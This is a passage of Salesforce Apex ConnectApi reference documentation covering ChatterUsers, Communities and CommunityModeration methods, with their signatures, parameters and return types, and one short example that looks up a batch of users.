Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

Return Value
Type: ConnectApi.FollowingPage

getFollowings(communityId, userId, pageParam, pageSize)
Returns the specific page of information about the followers of the specified user. This is different than getFollowers, which returns the users that follow the specified user.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId, Integer pageParam, Integer pageSize)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for a user.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.FollowingPage
getFollowings(communityId, userId, filterType)
Returns the first page of information about the specified types of followers of the specified user. The page contains the default number of items. This is different than getFollowers, which returns the users that follow the specified user.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId, String filterType)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for a user.

filterType
Type: String
Specifies the key prefix to filter the type of objects returned. A key prefix is the first three characters of the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

Return Value
Type: ConnectApi.FollowingPage

getFollowings(communityId, userId, filterType, pageParam)
Returns the specified page of information about the specified types of followers of the specified user. The page contains the default number of items. This is different than getFollowers, which returns the users that follow the specified user.

API Version
28.0
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId, String filterType, Integer pageParam)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for a user.

filterType
Type: String
Specifies the key prefix to filter the type of objects returned. A key prefix is the first three characters of the object ID, which specifies the object type. For example, User objects have a prefix of 00S and Group objects have a prefix of 0F9.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

Return Value
Type: ConnectApi.FollowingPage

getFollowings(communityId, userId, filterType, pageParam, pageSize)

Returns the specified page of information about the specified types of followers of the specified user. This is different than getFollowers, which returns the users that follow the specified user.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes
Signature

public static ConnectApi.FollowingPage getFollowings(String communityId, String userId, String filterType, Integer pageParam, Integer pageSize)

Parameters

communityId
  Type: String
  Use either the ID for a community, internal, or null.

userId
  Type: String
  The ID for a user.

filterType
  Type: String
  Specifies the key prefix to filter the type of objects returned. A key prefix is the first three characters of the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

pageParam
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value

Type: ConnectApi.FollowingPage

groups(communityId, userId)
Returns the first page of groups the specified user is a member of.

API Version

28.0

Available to Guest Users

32.0

Requires Chatter

Yes

Signature

public static ConnectApi.UserGroupPage getGroups(String communityId, String userId)
Parameters

communityId
  Type: String
  Use either the ID for a community, internal, or null.

userId
  Type: String
  The ID for a user.

Return Value
Type: ConnectApi.UserGroupPage

groups(communityId, userId, pageParam, pageSize)
Returns the specified page of groups the specified user is a member of.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserGroupPage getGroups(String communityId, String userId, Integer pageParam, Integer pageSize)

Parameters

communityId
  Type: String
  Use either the ID for a community, internal, or null.

userId
  Type: String
  The ID for a user.

pageParam
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.UserGroupPage

getPhoto(communityId, userId)
Returns information about the specified user’s photo.

API Version
28.0–34.0

Important: In version 35.0 and later, use ConnectApi.UserProfiles.getPhoto(communityId, userId) on page 1236.

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo getPhoto(String communityId, String userId)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for a user.

Return Value
Type: ConnectApi.Photo

getReputation(communityId, userId)
Returns the reputation of the specified user.

API Version
32.0
Available to Guest Users
32.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.Reputation getReputation(String communityId, String userId)
```

Parameters
- `communityId`
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.
- `userId`
  - Type: `String`
  - ID of the user.

Return Value
Type: `ConnectApi.Reputation`

**getReputation(communityId, userId)**

Returns information about the specified user.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.UserSummary getUser(String communityId, String userId)
```

Parameters
- `communityId`
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.
userId
Type: String
The ID for a user.

Return Value
Type: ConnectApi.UserDetail

Usage
If the user is external, the properties that the ConnectApi.UserDetail output class shares with the ConnectApi.UserSummary output class can have non-null values. Other properties are always null.

getUserBatch(communityId, userIds)
Gets information about the specified list of users. Returns a list of BatchResult objects containing ConnectApi.User objects. Returns errors embedded in the results for those users that couldn’t be loaded.

API Version
31.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.BatchResult[] getUserBatch(String communityId, List<String> userIds)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

userIds
Type: List<String>
A list of up to 500 user IDs.

Return Value
Type: BatchResult[]
The BatchResult getResults() method returns a ConnectApi.User object.
Example

```java
// Get users in an organization.
ConnectApi.UserPage userPage = ConnectApi.ChatterUsers.getUsers(null);

// Create a list of user IDs.
List<String> userList = new List<String>();
for (ConnectApi.User user : userPage.users) {
    userList.add(user.id);
}

// Get info about all users in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterUsers.getUserBatch(null, userList);

for (ConnectApi.BatchResult batchResult : batchResults) {
    if (batchResult.isSuccess()) {
        // Operation was successful.
        // Print each user's username.
        ConnectApi.UserDetail user;
        if (batchResult.getResult() instanceof ConnectApi.UserDetail) {
            user = (ConnectApi.UserDetail) batchResult.getResult();
        }
        System.debug('SUCCESS');
        System.debug(user.username);
    } else {
        // Operation failed. Print errors.
        System.debug('FAILURE');
        System.debug(batchResult.getErrorMessage());
    }
}
```

`getUsers(communityId)`

Returns the first page of users. The page contains the default number of items.

API Version

28.0

Available to Guest Users

32.0

Requires Chatter

Yes

Signature

public static ConnectApi.UserPage getUsers(String communityId)
Parameters

- **communityId**
  - Type: **String**
  - Use either the ID for a community, internal, or **null**.

Return Value

Type: **ConnectApi.UserPage**

**getUsers(communityId, pageParam, pageSize)**

Returns the specified page of users.

API Version

28.0

Available to Guest Users

32.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.UserPage getUsers(String communityId, Integer pageParam, Integer pageSize)
```

Parameters

- **communityId**
  - Type: **String**
  - Use either the ID for a community, internal, or **null**.

- **pageParam**
  - Type: **Integer**
  - Specifies the number of the page you want returned. Starts at 0. If you pass in **null** or 0, the first page is returned.

- **pageSize**
  - Type: **Integer**
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in **null**, the default size is 25.

Return Value

Type: **ConnectApi.UserPage**
searchUserGroups(communityId, userId, q)
Returns the first page of groups that match the specified search criteria.

API Version
30.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserGroupPage searchUserGroups(String communityId, String userId, String q)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for a user.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.UserGroupPage
A paginated list of groups the context user is a member of.

searchUserGroups(communityId, userId, q, pageParam, pageSize)
Returns the specified page of users that matches the specified search criteria.

API Version
30.0
Available to Guest Users
32.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.UserGroupPage searchUserGroups(String communityId, String userId, String q, Integer pageParam, Integer pageSize)
```

Parameters
- **communityId**
  Type: String
  Use either the ID for a community, internal, or null.
- **userId**
  Type: String
  The ID for a user.
- **q**
  Type: String
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
- **pageParam**
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
- **pageSize**
  Type: Integer
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.UserGroupPage
A paginated list of groups the context user is a member of.

`searchUsers(communityId, q)`
Returns the first page of users that match the specified search criteria. The page contains the default number of items.

API Version
28.0
Available to Guest Users
32.0

Requires Chatter
Yes

Signature

\[
\text{public static ConnectApi.UserPage searchUsers(String communityId, String q)}
\]

Parameters

- `communityId` 
  Type: String 
  Use either the ID for a community, internal, or null.

- `q` 
  Type: String 
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value

Type: ConnectApi.UserPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- setTestSearchUsers(communityId, q, result)
- Testing ConnectApi Code

\[
\text{searchUsers(communityId, q, pageParam, pageSize)}
\]

Returns the specified page of users that match the specified search criteria.

API Version

28.0

Available to Guest Users

32.0
Requires Chatter

Yes

Signature

public static ConnectApi.UserPage searchUsers(String communityId, String q, Integer pageParam, Integer pageSize)

Parameters

communityId
  Type: String
  Use either the ID for a community, internal, or null.

q
  Type: String
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

pageParam
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value

Type: ConnectApi.UserPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

  setTestSearchUsers(communityId, q, pageParam, pageSize, result)

Testing ConnectApi Code

searchUsers(communityId, q, searchContextId, pageParam, pageSize)

Returns the specified page of users that match the specified search criteria.

API Version

28.0
Available to Guest Users

32.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.UserPage searchUsers(String communityId, String q, String searchContextId, Integer pageParam, Integer pageSize)
```

Parameters

- **communityId**
  - Type: String
  - Use either the ID for a community, **internal**, or **null**.

- **q**
  - Type: String
  - Required and cannot be **null**. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See **Wildcards**.

- **searchContextId**
  - Type: String
  - A feed item ID that filters search results for feed @mentions. More useful results are listed first. When you specify this argument, you cannot query more than 500 results and you cannot use wildcards in the search term.

- **pageParam**
  - Type: Integer
  - Specifies the number of the page you want returned. Starts at 0. If you pass in **null** or 0, the first page is returned.

- **pageSize**
  - Type: Integer
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in **null**, the default size is 25.

Return Value

Type: **ConnectApi.UserPage**

Usage

To test code that uses this method, use the matching set test method (prefix the method name with **setTest**). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestSearchUsers(communityId, q, searchContextId, pageParam, pageSize, result)`
- Testing ConnectApi Code
**setPhoto(communityId, userId, fileId, versionNumber)**

Sets the user photo to be the specified, already uploaded file.

**API Version**

28.0–34.0

⚠️ **Important:** In version 35.0 and later, use `ConnectApi.UserProfiles.setPhoto(communityId, userId, fileId, versionNumber)` on page 1237

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.Photo setPhoto(String communityId, String userId, String fileId, Integer versionNumber)
```

**Parameters**

- `communityId`
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- `userId`
  - Type: `String`
  - The ID for the context user or the keyword `me`.

- `fileId`
  - Type: `String`
  - ID of a file already uploaded. The file must be an image, and be smaller than 2 GB.

- `versionNumber`
  - Type: `Integer`
  - Version number of the existing file. Specify either an existing version number, or `null` to get the latest version.

**Return Value**

Type: `ConnectApi.Photo`

**Usage**

Photos are processed asynchronously and may not be visible right away.

**setPhoto(communityId, userId, fileUpload)**

Sets the provided blob to be the photo for the specified user. The content type must be usable as an image.
API Version
28.0–34.0

**Important:** In version 35.0 and later, use `ConnectApi.UserProfiles.setPhoto(communityId, userId, fileUpload)`

Requires Chatter
Yes

Signature

```java
public static ConnectApi.Photo setPhoto(String communityId, String userId, ConnectApi.BinaryInput fileUpload)
```

Parameters

- **communityId**
  *Type: String*
  Use either the ID for a community, `internal`, or `null`.

- **userId**
  *Type: String*
  The ID for the context user or the keyword `me`.

- **fileUpload**
  *Type: ConnectApi.BinaryInput*
  A file to use as the photo. The content type must be usable as an image.

Return Value

*Type: ConnectApi.Photo*

Usage

Photos are processed asynchronously and may not be visible right away.

`setPhotoWithAttributes(communityId, userId, photo)`

Sets and crops the existing file as the photo for the specified user. The content type must be usable as an image.

API Version

29.0–34.0

**Important:** In version 35.0 and later, use `ConnectApi.UserProfiles.setPhotoWithAttributes(communityId, userId, photo)` on page 1239

Reference

ChatterUsers Class
Requires Chatter
Yes

Signature
public static ConnectApi.PhotosetPhotoWithAttributes(String communityId, String userId,
ConnectApi.PhotoInput photo)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the file ID, version number, and cropping parameters.

Return Value
Type: ConnectApi.Photo

Usage
Photos are processed asynchronously and may not be visible right away.

setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.

API Version
29.0–34.0

Important: In version 35.0 and later, use
ConnectApi.UserProfiles.setPhotoWithAttributes(communityId, userId, photo,
fileUpload) on page 1240

Requires Chatter
Yes

Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId,
ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)
Parameters

`communityId`
  Type: `String`
  Use either the ID for a community, `internal`, or `null`.

`userId`
  Type: `String`
  The ID for the context user or the keyword `me`.

`photo`
  Type: `ConnectApi.PhotoInput`
  A `ConnectApi.PhotoInput` object specifying the cropping parameters.

`fileUpload`
  Type: `ConnectApi.BinaryInput`
  A file to use as the photo. The content type must be usable as an image.

Return Value
Type: `ConnectApi.Photo`

Usage
Photos are processed asynchronously and may not be visible right away.

`updateChatterSettings(communityId, userId, defaultGroupEmailFrequency)`
Updates the default Chatter settings for the specified user.

API Version
28.0

Requires Chatter
Yes

Signature
`public static ConnectApi.UserChatterSettings updateChatterSettings(String communityId, String userId, ConnectApi.GroupEmailFrequency defaultGroupEmailFrequency)`

Parameters

`communityId`
  Type: `String`
  Use either the ID for a community, `internal`, or `null`.

`userId`
  Type: `String`
The ID for the context user or the keyword `me`.

`defaultGroupEmailFrequency`  
Type: `ConnectApi.GroupEmailFrequency`  
`defaultGroupEmailFrequency`—Specifies the frequency with which a user receives email from a group. Values:

- `EachPost`
- `DailyDigest`
- `WeeklyDigest`
- `Never`
- `UseDefault`

Don’t pass the value `UseDefault` for the `defaultGroupEmailFrequency` parameter because calling `updateChatterSettings` sets the default value.

Return Value  
Type: `ConnectApi.UserChatterSettings`

`updateUser(communityId, userId, userInput)`  
Updates the “About Me” section for a user.

API Version  
29.0

Requires Chatter  
Yes

Signature  
`public static ConnectApi.UserDetail updateUser(String communityId, String userId, ConnectApi.UserInput userInput)`

Parameters  
`communityId`  
Type: `String`

Use either the ID for a community, `internal`, or `null`.

`userId`  
Type: `String`

The ID for the context user or the keyword `me`.

`userInput`  
Type: `ConnectApi.UserInput`

Specifies the updated information.
ChatterUsers Test Methods

The following are the test methods for ChatterUsers. All methods are static.

For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

`setTestSearchUsers(communityId, q, result)`

Registers a ConnectApi.UserPage object to be returned when the matching ConnectApi.searchUsers method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**

28.0

**Signature**

```java
public static Void setTestSearchUsers(String communityId, String q, ConnectApi.UserPage result)
```

**Parameters**

- `communityId`
  - Type: String
  - Use either the ID for a community, internal, or null.

- `q`
  - Type: String
  - Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- `result`
  - Type: ConnectApi.UserPage
  - The object containing test data.

**Return Value**

Type: Void

**SEE ALSO:**

- `searchUsers(communityId, q)`
- Testing ConnectApi Code
**setTestSearchUsers(communityId, q, pageParam, pageSize, result)**

Registers a `ConnectApi.UserPage` object to be returned when the matching `ConnectApi.searchUsers` method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**

28.0

**Signature**

```java
public static Void setTestSearchUsers(String communityId, String q, Integer pageParam, Integer pageSize, ConnectApi.UserPage result)
```

**Parameters**

- **communityId**
  - Type: String
  - Use either the ID for a community, internal, or null.
- **q**
  - Type: String
  - Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
- **pageParam**
  - Type: Integer
  - Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
- **pageSize**
  - Type: Integer
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
- **result**
  - Type: `ConnectApi.UserPage`
  - The object containing test data.

**Return Value**

Type: Void

SEE ALSO:

- `searchUsers(communityId, q, pageParam, pageSize)`
- Testing ConnectApi Code

**setTestSearchUsers(communityId, q, searchContextId, pageParam, pageSize, result)**

Registers a `ConnectApi.UserPage` object to be returned when the matching `ConnectApi.searchUsers` method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
28.0

Signature
public static Void setTestSearchUsers(String communityId, String q, String searchContextId, Integer pageParam, Integer pageSize, ConnectApi.UserPage result)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

searchContextId
Type: String
A feed item ID that filters search results for feed @mentions. More useful results are listed first. When you specify this argument, you cannot query more than 500 results and you cannot use wildcards in the search term.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

result
Type: ConnectApi.UserPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
searchUsers(communityId, q, searchContextId, pageParam, pageSize)
Testing ConnectApi Code

Communities Class
Access general information about communities in your organization.
Communities Methods

The following are methods for Communities. All methods are static.

IN THIS SECTION:

getCommunities()
Returns a list of communities the context user has access to.

getCommunities(communityStatus)
Returns a list of communities the context user has access to with the specified status.

getCommunity(communityId)
Returns information about the specific community.

getCommunities()
Returns a list of communities the context user has access to.

API Version
28.0

Requires Chatter
No

Signature
public static ConnectApi.CommunityPage getCommunities()

Return Value
Type: ConnectApi.CommunityPage

getCommunities(communityStatus)
Returns a list of communities the context user has access to with the specified status.

API Version
28.0

Requires Chatter
No
Signature

```java
public static ConnectApi.CommunityPage getCommunities(ConnectApi.CommunityStatus communityStatus)
```

Parameters

`communityStatus`

Type: `ConnectApi.CommunityStatus`

`communityStatus`—Specifies the status of the community. Values are:

- Live
- Inactive
- UnderConstruction

Return Value

Type: `ConnectApi.CommunityPage`

getCommunity(communityId)

Returns information about the specific community.

API Version

28.0

Available to Guest Users

35.0

Requires Chatter

No

Signature

```java
public static ConnectApi.Community getCommunity(String communityId)
```

Parameters

`communityId`

Type: `String`

Specify an ID for `communityId`. You cannot specify `null` or `'internal'`.

Return Value

Type: `ConnectApi.Community`
CommunityModeration Class

Access information about flags feed items and comments in a community. Add and remove one or more flags to and from comments and feed items. To view a feed containing all flagged feed items and comments, pass `ConnectApi.FeedType.Moderation` to the `ConnectApi.ChatterFeeds.getFeedItemsFromFeed` method.

Namespace

ConnectApi

CommunityModeration Methods

The following are methods for `CommunityModeration`. All methods are static.

IN THIS SECTION:

- `addFlagToComment(communityId, commentId)`
  Add a moderation flag to a comment. To add a flag to a comment, `Allow members to flag content` must be selected for a community.

- `addFlagToComment(communityId, commentId, visibility)`
  Add a moderation flag with specified visibility to a comment. To add a flag to a comment, `Allow members to flag content` must be selected for a community.

- `addFlagToFeedElement(communityId, feedElementId)`
  Add a moderation flag to a feed element. To add a flag to a feed element, `Allow members to flag content` must be selected for a community.

- `addFlagToFeedElement(communityId, feedElementId, visibility)`
  Add a moderation flag with specified visibility to a feed element. To add a flag to a feed element, `Allow members to flag content` must be selected for a community.

- `addFlagToFeedItem(communityId, feedItemId)`
  Add a moderation flag to a feed item. To add a flag to a feed item, `Allow members to flag content` must be selected for a community.

- `addFlagToFeedItem(communityId, feedItemId, visibility)`
  Add a moderation flag with specified visibility to a feed item. To add a flag to a feed item, `Allow members to flag content` must be selected for a community.

- `getFlagsOnComment(communityId, commentId)`
  Get the moderation flags on a comment. To get the flags, the context user must have the "Moderate Communities Feeds" permission.

- `getFlagsOnComment(communityId, commentId, visibility)`
  Get the moderation flags with specified visibility on a comment. To get the flags, the context user must have the "Moderate Communities Feeds" permission.

- `getFlagsOnFeedElement(communityId, feedElementId)`
  Get the moderation flags on a feed element. To get the flags, the context user must have the `Moderate Communities Feeds` permission.

- `getFlagsOnFeedElement(communityId, feedElementId, visibility)`
  Get the moderation flags with specified visibility on a feed element. To get the flags, the context user must have the `Moderate Communities Feeds` permission.
getFlagsOnFeedItem(communityId, feedItemId)
Get the moderation flags on a feed item. To get the flags, the context user must have the “Moderate Communities Feeds” permission.

getFlagsOnFeedItem(communityId, feedItemId, visibility)
Get the moderation flags with specified visibility on a feed item. To get the flags, the context user must have the “Moderate Communities Feeds” permission.

removeFlagFromComment(communityId, commentId, userId)
Remove a moderation flag from a comment. To remove a flag from a comment the context user must have added the flag or must have the “Moderate Communities Feeds” permission.

removeFlagFromFeedElement(communityId, feedElementId, userId)
Remove a moderation flag from a feed element. To remove a flag from a feed element, the context user must have added the flag or must have the Moderate Communities Feeds permission.

removeFlagsOnFeedItem(communityId, feedItemId, userId)
Remove a moderation flag from a feed item. To remove a flag from a feed item, the context user must have added the flag or must have the “Moderate Communities Feeds” permission.

addFlagToComment(communityId, commentId)
Add a moderation flag to a comment. To add a flag to a comment, Allow members to flag content must be selected for a community.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String commentId)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

commentId
Type: String
The ID for a comment.

Return Value
Type: ConnectApi.ModerationFlags
addFlagToComment(communityId, commentId, visibility)
Add a moderation flag with specified visibility to a comment. To add a flag to a comment, Allow members to flag content must be selected for a community.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String commentId, ConnectApi.CommunityFlagVisibility visibility)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

commentId
Type: String
The ID for a comment.

visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types.

• ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
• SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

Return Value
Type: ConnectApi.ModerationFlags

addFlagToFeedElement(communityId, feedElementId)
Add a moderation flag to a feed element. To add a flag to a feed element, Allow members to flag content must be selected for a community.

API Version
31.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId)
```

Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **feedElementId**
  - Type: `String`
  - The ID for a feed element.

Return Value

Type: `ConnectApi.ModerationCapability Class`

If the feed element doesn’t support this capability, the return value is `ConnectApi.NotFoundException` on page 1395.

```java
addFlagToFeedElement(communityId, feedElementId, visibility)
```

Add a moderation flag with specified visibility to a feed element. To add a flag to a feed element, `Allow members to flag content` must be selected for a community.

API Version

31.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId, ConnectApi.CommunityFlagVisibility visibility)
```

Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **feedElementId**
  - Type: `String`
  - The ID for a feed element.

- **visibility**
  - Type: `ConnectApi.CommunityFlagVisibility`
  - Specifies the visibility behavior of a flag for various user types. One of these values:
- **ModeratorsOnly**—The flag is visible only to users with moderation permissions on the flagged element or item.
- **SelfAndModerators**—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

**Return Value**

Type: `ConnectApi.ModerationCapability Class`

If the feed element doesn’t support this capability, the return value is `ConnectApi.NotFoundException` on page 1395.

### addFlagToFeedItem(communityId, feedItemId)

Add a moderation flag to a feed item. To add a flag to a feed item, **Allow members to flag content** must be selected for a community.

#### API Version

29.0–31.0

⚠️ **Important:** In version 32.0 and later, use `addFlagToFeedElement(communityId, feedElementId)`.

#### Requires Chatter

Yes

#### Signature

```java
public static ConnectApi.ModerationFlags addFlagToFeedItem(String communityId, String feedItemId)
```

#### Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **feedItemId**
  - Type: `String`
  - The ID for a feed item.

#### Return Value

Type: `ConnectApi.ModerationFlags`

### addFlagToFeedItem(communityId, feedItemId, visibility)

Add a moderation flag with specified visibility to a feed item. To add a flag to a feed item, **Allow members to flag content** must be selected for a community.
API Version
30.0–31.0

Important: In version 32.0 and later, use `addFlagToFeedElement(communityId, feedElementId, visibility)`.

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ModerationFlags addFlagToFeedItem(String communityId, String feedItemId, ConnectApi.CommunityFlagVisibility visibility)
```

Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **feedItemId**
  - Type: `String`
  - The ID for a feed item.

- **visibility**
  - Type: `ConnectApi.CommunityFlagVisibility`
  - Specifies the visibility behavior of a flag for various user types.
    - ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
    - SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

Return Value

- Type: `ConnectApi.ModerationFlags`

`getFlagsOnComment(communityId, commentId)`

Get the moderation flags on a comment. To get the flags, the context user must have the "Moderate Communities Feeds" permission.

API Version
29.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.ModerationFlags getFlagsOnComment(String communityId, String commentId)
```

Parameters

- `communityId`
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- `commentId`
  - Type: `String`
  - The ID for a comment.

Return Value

Type: `ConnectApi.ModerationFlags`

```java
getFlagsOnComment(communityId, commentId, visibility)
```

Get the moderation flags with specified visibility on a comment. To get the flags, the context user must have the “Moderate Communities Feeds” permission.

API Version

30.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.ModerationFlags getFlagsOnComment(String communityId, String commentId, ConnectApi.CommunityFlagVisibility visibility)
```

Parameters

- `communityId`
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- `commentId`
  - Type: `String`
  - The ID for a comment.

- `visibility`
  - Type: `ConnectApi.CommunityFlagVisibility`
  - Specifies the visibility behavior of a flag for various user types.
    - ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
• **SelfAndModerators**—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

**Return Value**
Type: `ConnectApi.ModerationFlags`

**getFlagsOnFeedElement(communityId, feedElementId)**
Get the moderation flags on a feed element. To get the flags, the context user must have the Moderate Communities Feeds permission.

**API Version**
31.0

**Requires Chatter**
Yes

**Signature**
```java
public static ConnectApi.ModerationCapability getFlagsOnFeedElement(String communityId,
String feedElementId)
```

**Parameters**
- `communityId`
  Type: `String`
  Use either the ID for a community, internal, or null.
- `feedElementId`
  Type: `String`
  The ID for a feed element.

**Return Value**
Type: `ConnectApi.ModerationCapability Class`
If the feed element doesn’t support this capability, the return value is `ConnectApi.NotFoundException` on page 1395.

**getFlagsOnFeedElement(communityId, feedElementId, visibility)**
Get the moderation flags with specified visibility on a feed element. To get the flags, the context user must have the Moderate Communities Feeds permission.

**API Version**
31.0
Requires Chatter
Yes

Signature
public static ConnectApi.ModerationCapability getFlagsOnFeedElement(String communityId, String feedElementId, ConnectApi.CommunityFlagVisibility visibility)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

feedElementId
Type: String
The ID for a feed element.

visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types. One of these values:

- ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
- SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

Return Value
Type: ConnectApi.ModerationCapability Class
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException on page 1395.

getFlagsOnFeedItem(communityId, feedItemId)
Get the moderation flags on a feed item. To get the flags, the context user must have the “Moderate Communities Feeds” permission.

API Version
29.0–31.0

⚠️ Important: In version 32.0 and later, use getFlagsOnElement(communityId, feedElementId).

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags getFlagsOnFeedItem(String communityId, String feedItemId)
Parameters

`communityId`
Type: String
Use either the ID for a community, `internal`, or `null`.

`feedItemId`
Type: String
The ID for a feed item.

Return Value
Type: `ConnectApi.ModerationFlags`

`getFlagsOnFeedItem(communityId, feedItemId, visibility)`
Get the moderation flags with specified visibility on a feed item. To get the flags, the context user must have the "Moderate Communities Feeds" permission.

API Version
30.0–31.0

⚠️ Important: In version 32.0 and later, use `getFlagsOnFeedElement(communityId, feedElementId, visibility)`.

Requires Chatter
Yes

Signature
